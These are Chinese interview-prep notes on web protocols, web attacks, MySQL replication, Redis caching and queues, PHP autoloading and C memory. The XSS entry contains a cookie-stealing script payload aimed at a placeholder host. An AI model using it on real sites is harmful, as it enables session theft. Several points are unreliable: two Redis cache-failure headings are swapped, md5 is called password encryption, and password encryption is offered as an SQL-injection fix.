问题内容总结

一、浏览器输入一个地址访问的过程发生了什么 https
1.浏览器URL解析
2.DNS域名解析
3.ip寻址arp地址转换
4.tcp三次握手
5.建立tcp连接后发起http请求
7.服务器响应http请求，浏览器拿到html代码
8.浏览器解析html并请求代码中资源
9.浏览器渲染页面

二、浏览器如何通过HTTP协议跳转到HTTPS协议（301和302的区别）
通过HTTP重定向，常见的
301：永久重定向 搜索引擎保存新的url，后续会请求到新的url
302：临时重定向 搜索引擎还是原来url，后续请求依然原来url

三、常见的web攻击，及防范
1、CSRF：跨站请求伪造，通过伪装成受信任用户的进行访问，用户本地存储cookie，攻击者利用用户的cookie进行认证，然后伪造用户发出请求
预防：1、不使用cookie验证，通过token令牌验证。2、通过referer识别，HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器我是从哪个页面链接过来的，服务器基此可以获得一些信息用于处理。

2、XSS：跨站脚本攻击，攻击者在网页中嵌入恶意脚本程序，用户输入的数据变成了代码，比如<script>window.open(“www.xxx.com?param=”+document.cookie)</script>将用户的cookie发送到攻击者服务器上。
预防：将输入的数据进行转义处理，比如说讲 < 转义成&lt；

3、SQL注入：通过sql命令伪装成正常的http请求参数，传递到服务器端，服务器执行sql命令造成对数据库进行攻击
预防：1、SQL预处理语句。2、数据库密码进行加密存储

4、DDOS：分布式拒绝服务攻击，就是发送大量请求是使服务器瘫痪，DDos攻击是在DOS攻击基础上的，可以通俗理解，dos是单挑，而ddos是群殴，因为现代技术的发展，dos攻击的杀伤力降低，所以出现了DDOS，攻击者借助公共网络，将大数量的计算机设备联合起来，向一个或多个目标进行攻击。
预防：1、最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击，他的带宽不会耗费很多钱，但对于服务器来说，带宽非常昂贵。2、云服务提供商有自己的一套完整DDoS解决方案，并且能提供丰富的带宽资源

四、MySQL主从同步数据的底层模式，某个场景
场景：主数据库执行了一条sql语句中包含了mysql时间戳函数，由于网络原因中断了10秒才同步到从数据库，此时同步到从数据库的时间是不是多了10秒
答案不是
Mysql服务器之间的主从同步是基于二进制日志机制，主服务器使用二进制日志来记录数据库的变动情况，从服务器通过读取和执行该日志文件来保持和主服务器的数据一致。
SBR（sql 默认）和RBR （行） 
在使用二进制日志时，主服务器的所有操作都会被记录下来，然后从服务器会接收到该日志的一个副本。从服务器可以指定执行该日志中的哪一类事件（譬如只插入数据或者只更新数据），默认会执行日志中的所有语句。
每一个从服务器会记录关于二进制日志的信息：文件名和已经处理过的语句，这样意味着不同的从服务器可以分别执行同一个二进制日志的不同部分，并且从服务器可以随时连接或者中断和服务器的连接。

主服务器和每一个从服务器都必须配置一个唯一的ID号（在my.cnf文件的[mysqld]模块下有一个server-id配置项），另外，每一个从服务器还需要通过CHANGE MASTER TO语句来配置它要连接的主服务器的ip地址，日志文件名称和该日志里面的位置（这些信息存储在主服务器的数据库里）

SBR：当使用二进制日志时，主服务器会把SQL语句写入到日志中，然后从服务器会执行该日志，这就是SBR，在mysql5.1.4之前的版本都只能使用这种格式。使用SBR会有如下

长处：

日志文件更小
记录了所有的语句，可以用来日后审计
弊端：

使用如下函数的语句不能被正确地复制：load_file(); uuid(), uuid_short(); user(); found_rows(); sysdate(); get_lock(); is_free_lock(); is_used_lock(); master_pos_wait(); rand(); release_lock(); sleep(); version();
在日志中出现如下警告信息的不能正确地复制：[Warning] Statement is not safe to log in statement format.
或者在客户端中出现show warnings
Insert … select语句会执行大量的行级锁表
Update语句会执行大量的行级锁表来扫描整个表
2.RBR：主服务器把表的行变化作为事件写入到二进制日志中，主服务器把代表了行变化的事件复制到从服务中，使用RBR的

长处：

所有的数据变化都是被复制，这是最安全的复制方式
更少的行级锁表
弊端：

日志会很大
不能通过查看日志来审计执行过的sql语句，不过可以通过使用mysqlbinlog  
--base64-output=decode-rows --verbose来查看数据的 变动
3.MBR：既使用SBR也使用RBR，默认使用SBR

五、如何控制两个sql语句同时执行的影响，以及解决方案，某个场景（锁和队列）

场景：一个账户上由100块钱，每次用户请求去修改账户金额之前都要查询账户金额是否够，假如有两个用户同时对账户进行了修改，MySQL如何解决这种冲突的，有什么其他的解决方案。
1、在执行修改数据之前进行加锁，提交后再释放锁
2、把查询和修改的请求放到一个队列中

1.打开同时锁定表的记录 
2.用lock对修改方法加锁
2.捕获错误，撤消其中一个用户的修改（数据校验机制，不做数据库层次上的锁定）
事物：
set commit 1;
begin work;
select 'f' from table where a = '1' for update;
update table set a = '2' where a = '1';
commit work;

六、Redis集群模式有哪些
1，主从复制
2，哨兵模式
3，Redis官方提供的Cluster集群模式(服务端)
4，Jedis sharding集群(客户端sharding)
5, 利用中间件代理，比如codis等
其中前三个为服务器端方案 后两个为客户端分区方案，类似于分表分库方案

七、Redis队列和专业的队列有什么区别
可靠消费
Redis：没有相应的机制保证消息的消费，当消费者消费失败的时候，消息体丢失，需要手动处理
RabbitMQ：具有消息消费确认，即使消费者消费失败，也会自动使消息体返回原队列，同时可全程持久化，保证消息体被正确消费

可靠发布
Reids：不提供，需自行实现
Redis的消息队列，如果在从队列pop出去的时候，worker处理失败的话，数据不会回到队列中，需要从业务中手动把失败的处理数据push到队列中；
RabbitMQ：具有发布确认功能，保证消息被发布到服务器
RabbitMQ有一个消息确认机制来保证消息的不丢失：客户端从队列中取出消息之后，可能需要一段时间才能处理完成，如果在这个过程中，客户端出错了，异常退出了，而数据还没有处理完成，那么非常不幸，这段数据就丢失了，因为RabbitMQ默认会把此消息标记为已完成，然后从队列中移除。
消息确认是客户端从RabbitMQ中取出消息，并处理完成之后，会发送一个ack告诉RabbitMQ，消息处理完成，当RabbitMQ收到客户端的获取消息请求之后，或标记为处理中，当再次收到ack之后，才会标记为已完成，然后从队列中删除。当RabbitMQ检测到客户端和自己断开链接之后，还没收到ack，则会重新将消息放回消息队列，交给下一个客户端处理，保证消息不丢失，也就是说，RabbitMQ给了客户端足够长的时间来做数据处理。

高可用
Redis：采用主从模式，读写分离，但是故障转移还没有非常完善的官方解决方案
RabbitMQ：集群采用磁盘、内存节点，任意单点故障都不会影响整个队列的操作

持久化
Redis：将整个Redis实例持久化到磁盘
RabbitMQ：队列，消息，都可以选择是否持久化

消费者负载均衡
Redis：不提供，需自行实现
RabbitMQ：根据消费者情况，进行消息的均衡分发

队列监控
Redis：不提供，需自行实现
RabbitMQ：后台可以监控某个队列的所有信息，（内存，磁盘，消费者，生产者，速率等）

流量控制
Redis：不提供，需自行实现
RabbitMQ：服务器过载的情况，对生产者速率会进行限制，保证服务可靠性
来自：https://blog.csdn.net/bocai_xiaodaidai/article/details/103196945

八、如何保证一个交易接口的安全性，在运营方面（加密，IP限制白名单等等）
安全措施
个人觉得安全措施大体来看主要在两个方面，一方面就是如何保证数据在传输过程中的安全性，另一个方面是数据已经到达服务器端，服务器端如何识别数据，如何不被攻击；下面具体看看都有哪些安全措施。

1.数据加密
我们知道数据在传输过程中是很容易被抓包的，如果直接传输比如通过http协议，那么用户传输的数据可以被任何人获取；所以必须对数据加密，常见的做法对关键字段加密比如用户密码直接通过md5加密；现在主流的做法是使用https协议，在http和tcp之间添加一层加密层(SSL层)，这一层负责数据的加密和解密；

2.数据加签
数据加签就是由发送者产生一段无法伪造的一段数字串，来保证数据在传输过程中不被篡改；你可能会问数据如果已经通过https加密了，还有必要进行加签吗？数据在传输过程中经过加密，理论上就算被抓包，也无法对数据进行篡改；但是我们要知道加密的部分其实只是在外网，现在很多服务在内网中都需要经过很多服务跳转，所以这里的加签可以防止内网中数据被篡改；

3.时间戳机制
数据是很容易被抓包的，但是经过如上的加密，加签处理，就算拿到数据也不能看到真实的数据；但是有不法者不关心真实的数据，而是直接拿到抓取的数据包进行恶意请求；这时候可以使用时间戳机制，在每次请求中加入当前的时间，服务器端会拿到当前时间和消息中的时间相减，看看是否在一个固定的时间范围内比如5分钟内；这样恶意请求的数据包是无法更改里面时间的，所以5分钟后就视为非法请求了；

4.AppId机制
大部分网站基本都需要用户名和密码才能登录，并不是谁来能使用我的网站，这其实也是一种安全机制；对应的对外提供的接口其实也需要这么一种机制，并不是谁都可以调用，需要使用接口的用户需要在后台开通appid，提供给用户相关的密钥；在调用的接口中需要提供appid+密钥，服务器端会进行相关的验证；

5.限流机制
本来就是真实的用户，并且开通了appid，但是出现频繁调用接口的情况；这种情况需要给相关appid限流处理，常用的限流算法有令牌桶和漏桶算法；

6.黑名单机制
如果此appid进行过很多非法操作，或者说专门有一个中黑系统，经过分析之后直接将此appid列入黑名单，所有请求直接返回错误码；

7.数据合法性校验
这个可以说是每个系统都会有的处理机制，只有在数据是合法的情况下才会进行数据处理；每个系统都有自己的验证规则，当然也可能有一些常规性的规则，比如身份证长度和组成，电话号码长度和组成等等；

九、依赖注入底层怎么实现的（反射机制）

十、composer的作用（包，自动加载）
我们代码里经常会用的别人的代码包，比如框架、excel处理等。很久以前的项目里用到这些包，是要下载这些包，然后在代码里 include php文件的。
composer的下载功能就是自动完成 下载 include 这两步，当然前提是这些代码包要符合 composer 对包的定义，这些定义是在包代码的项目根目录下的 composer.json 文件里面。这个文件的描述可以去 composer 官网查看，这里只说下他的大概原理

安装扩展包，安装依赖，实现自动加载
十一、自动加载规范
psr所有规范：https://learnku.com/docs/psr

psr4自动加载规范：

此处的「类」泛指所有的「Class类」、「接口」、「traits 可复用代码块」以及其它类似结构。

一个完整的类名需具有以下结构:

 \<命名空间>(\<子命名空间>)*\<类名>
 
完整的类名 必须 要有一个顶级命名空间，被称为 "vendor namespace"；
完整的类名 可以 有一个或多个子命名空间；
完整的类名 必须 有一个最终的类名；
完整的类名中任意一部分中的下滑线都是没有特殊含义的；
完整的类名 可以 由任意大小写字母组成；
所有类名都 必须 是大小写敏感的。
当根据完整的类名载入相应的文件
完整的类名中，去掉最前面的命名空间分隔符，前面连续的一个或多个命名空间和子命名空间，作为「命名空间前缀」，其必须与至少一个「文件基目录」相对应；
紧接命名空间前缀后的子命名空间 必须 与相应的「文件基目录」相匹配，其中的命名空间分隔符将作为目录分隔符。
末尾的类名 必须 与对应的以 .php 为后缀的文件同名。
自动加载器（autoloader）的实现 一定不可 抛出异常、一定不可 触发任一级别的错误信息以及 不应该 有返回值

1.熟悉哪些语言

2.哪些课程掌握得比较好

3.项目介绍

4.this、self、static的区别
1.this   指向类，当前对象，用来访问当前对象的非静态变量和非静态方法； 
2.self   指向类，一般用来访问当前类的静态变量和静态方法，运行之前已经确定指向哪个类； 
3.static 指向类，一般用来访问当前类的静态变量和静态方法，但又 不限于 静态的调用，运行时才确定指向哪个类。

5.php运行原理

6.smarty工作原理

7.数据库用过哪些

8.mysql存储引擎有哪些？区别呢？

9.innodb建立索引用到了什么数据结构

10.简述b树、b+树.

11.tcp是如何建立三次握手的

12.tcp流量控制、拥塞控制

13.内存中的堆栈

14.malloc的内存空间是在栈中还是在堆中

15.new与malloc有什么区别
将上面所述的10点差别整理成表格：
特征                    new/delete                                malloc/free

分配内存的位置            自由存储区                                堆
内存分配成功的返回值    完整类型指针                            void*
内存分配失败的返回值    默认抛出异常                            返回NULL
分配内存的大小            由编译器根据类型计算得出                必须显式指定字节数
处理数组                有处理数组的new版本new[]                需要用户计算数组的大小后进行内存分配
已分配内存的扩充        无法直观地处理                            使用realloc简单完成
是否相互调用            可以，看具体的operator new/delete实现    不可调用new
分配内存时内存不足        客户能够指定处理函数或重新制定分配器    无法通过用户代码进行处理
函数重载                允许                                    不允许
构造函数与析构函数        调用                                    不调用

malloc给你的就好像一块原始的土地，你要种什么需要自己在土地上来播种

而new帮你划好了田地的分块（数组），帮你播了种（构造函数），还提供其他的设施给你使用:

16.C语言头文件里有什么、可以定义变量吗

17.宏定义是干什么的

18.C语言是如何编译成可执行文件的

19.简述用户态和内核态

20.两道算法题、问时间复杂度

快速排序，二分查找，

常用的array方法，https枷锁过程，502解决， 206缓存从哪读， 304解决，CSRF拦截方式，设计模式，static方法和非的区别， linux查看端口号 ，sql注入 ， 面向对象：封装继承和多态实现 ，链表 ， redis部署集群 ， udp保证一定传输到

B-Trey ，组合索引 ， 索引数据结构

redis雪崩
理解：
目前电商首页以及热点数据都会去做缓存 ，一般缓存都是定时任务去刷新，或者是查不到之后去更新的，定时任务刷新就有一个问题。
举个简单的例子：如果所有首页的Key失效时间都是12小时，中午12点刷新的，我零点有个秒杀活动大量用户涌入，假设当时每秒 6000 个请求，本来缓存在可以扛住每秒 5000 个请求，但是缓存当时所有的Key都失效了。此时 1 秒 6000 个请求全部落数据库，数据库必然扛不住，它会报一下警，真实情况可能DBA都没反应过来就直接挂了。此时，如果没用什么特别的方案来处理这个故障，DBA 很着急，重启数据库，但是数据库立马又被新的流量给打死了。这就是我理解的缓存雪崩。
同一时间大面积失效，那一瞬间Redis跟没有一样，那这个数量级别的请求直接打到数据库几乎是灾难性的，你想想如果打挂的是一个用户服务的库，那其他依赖他的库所有的接口几乎都会报错，如果没做熔断等策略基本上就是瞬间挂一片的节奏，你怎么重启用户都会把你打挂，等你能重启的时候，用户早就睡觉去了，并且对你的产品失去了信心，什么垃圾产品。
解决：
处理缓存雪崩简单，在批量往Redis存数据的时候，把每个Key的失效时间都加个随机值就好了，这样可以保证数据不会在同一时间大面积失效，我相信，Redis这点流量还是顶得住的。
setRedis（Key，value，time + Math.random() * 10000）；
如果Redis是集群部署，将热点数据均匀分布在不同的Redis库中也能避免全部失效的问题，不过本渣我在生产环境中操作集群的时候，单个服务都是对应的单个Redis分片，是为了方便数据的管理，但是也同样有了可能会失效这样的弊端，失效时间随机是个好策略。
或者设置热点数据永远不过期，有更新操作就更新缓存就好了（比如运维更新了首页商品，那你刷下缓存就完事了，不要设置过期时间），电商首页的数据也可以用这个操作，保险。

redis击穿
理解：
缓存穿透是指缓存和数据库中都没有的数据，而用户不断发起请求，我们数据库的 id 都是1开始自增上去的，如发起为id值为 -1 的数据或 id 为特别大不存在的数据。这时的用户很可能是攻击者，攻击会导致数据库压力过大，严重会击垮数据库。
像这种你如果不对参数做校验，数据库id都是大于0的，我一直用小于0的参数去请求你，每次都能绕开Redis直接打到数据库，数据库也查不到，每次都这样，并发高点就容易崩掉了。
解决：
缓存穿透我会在接口层增加校验，比如用户鉴权校验，参数做校验，不合法的参数直接代码Return，比如：id 做基础校验，id <=0的直接拦截等。
这里我想提的一点就是，我们在开发程序的时候都要有一颗“不信任”的心，就是不要相信任何调用方，比如你提供了API接口出去，你有这几个参数，那我觉得作为被调用方，任何可能的参数情况都应该被考虑到，做校验，因为你不相信调用你的人，你不知道他会传什么参数给你。
举个简单的例子，你这个接口是分页查询的，但是你没对分页参数的大小做限制，调用的人万一一口气查 Integer.MAX_VALUE 一次请求就要你几秒，多几个并发你不就挂了么？是公司同事调用还好大不了发现了改掉，但是如果是黑客或者竞争对手呢？在你双十一当天就调你这个接口会发生什么，就不用我说了吧。这是之前的Leader跟我说的，我觉得大家也都应该了解下。
从缓存取不到的数据，在数据库中也没有取到，这时也可以将对应Key的Value对写为null、位置错误、稍后重试这样的值具体取啥问产品，或者看具体的场景，缓存有效时间可以设置短点，如30秒（设置太长会导致正常情况也没法使用）。
这样可以防止攻击用户反复用同一个id暴力攻击，但是我们要知道正常用户是不会在单秒内发起这么多次请求的，那网关层Nginx本渣我也记得有配置项，可以让运维大大对单个IP每秒访问次数超出阈值的IP都拉黑。

还有我记得Redis还有一个高级用法布隆过滤器（Bloom Filter）这个也能很好的防止缓存穿透的发生，他的原理也很简单就是利用高效的数据结构和算法快速判断出你这个Key是否在数据库中存在，不存在你return就好了，存在你就去查了DB刷新KV再return。
那又有小伙伴说了如果黑客有很多个IP同时发起攻击呢？这点我一直也不是很想得通，但是一般级别的黑客没这么多肉鸡，再者正常级别的Redis集群都能抗住这种级别的访问的，小公司我想他们不会感兴趣的。把系统的高可用做好了，集群还是很能顶的。

redis穿透
理解：
缓存击穿嘛，这个跟缓存雪崩有点像，但是又有一点不一样，缓存雪崩是因为大面积的缓存失效，打崩了DB，而缓存击穿不同的是缓存击穿是指一个Key非常热点，在不停的扛着大并发，大并发集中对这一个点进行访问，当这个Key在失效的瞬间，持续的大并发就穿破缓存，直接请求数据库，就像在一个完好无损的桶上凿开了一个洞。
解决：
设置热点数据永远不过期。或者加上互斥锁就能搞定了

缓存预热
 缓存预热就是系统上线后，提前将相关的缓存数据直接加载到缓存系统。避免在用户请求的时候，先查询数据库，然后再将数据缓存的问题！用户直接查询事先被预热的缓存数据！

 缓存预热解决方案：

（1）直接写个缓存刷新页面，上线时手工操作下；

（2）数据量不大，可以在项目启动的时候自动进行加载；

（3）定时刷新缓存；

缓存更新
除了缓存服务器自带的缓存失效策略之外（Redis默认的有6中策略可供选择），我们还可以根据具体的业务需求进行自定义的缓存淘汰，常见的策略有两种：

（1）定时去清理过期的缓存；

（2）当有用户请求过来时，再判断这个请求所用到的缓存是否过期，过期的话就去底层系统得到新数据并更新缓存。

两者各有优劣，第一种的缺点是维护大量缓存的key是比较麻烦的，第二种的缺点就是每次用户请求过来都要判断缓存失效，逻辑相对比较复杂！具体用哪种方案，大家可以根据自己的应用场景来权衡。

缓存降级
当访问量剧增、服务出现问题（如响应时间慢或不响应）或非核心服务影响到核心流程的性能时，仍然需要保证服务还是可用的，即使是有损服务。系统可以根据一些关键数据进行自动降级，也可以配置开关实现人工降级。

降级的最终目的是保证核心服务可用，即使是有损的。而且有些服务是无法降级的（如加入购物车、结算）。

在进行降级之前要对系统进行梳理，看看系统是不是可以丢卒保帅；从而梳理出哪些必须誓死保护，哪些可降级；比如可以参考日志级别设置预案：

（1）一般：比如有些服务偶尔因为网络抖动或者服务正在上线而超时，可以自动降级；

（2）警告：有些服务在一段时间内成功率有波动（如在95~100%之间），可以自动降级或人工降级，并发送告警；

（3）错误：比如可用率低于90%，或者数据库连接池被打爆了，或者访问量突然猛增到系统能承受的最大阀值，此时可以根据情况自动降级或者人工降级；

（4）严重错误：比如因为特殊原因数据错误了，此时需要紧急人工降级。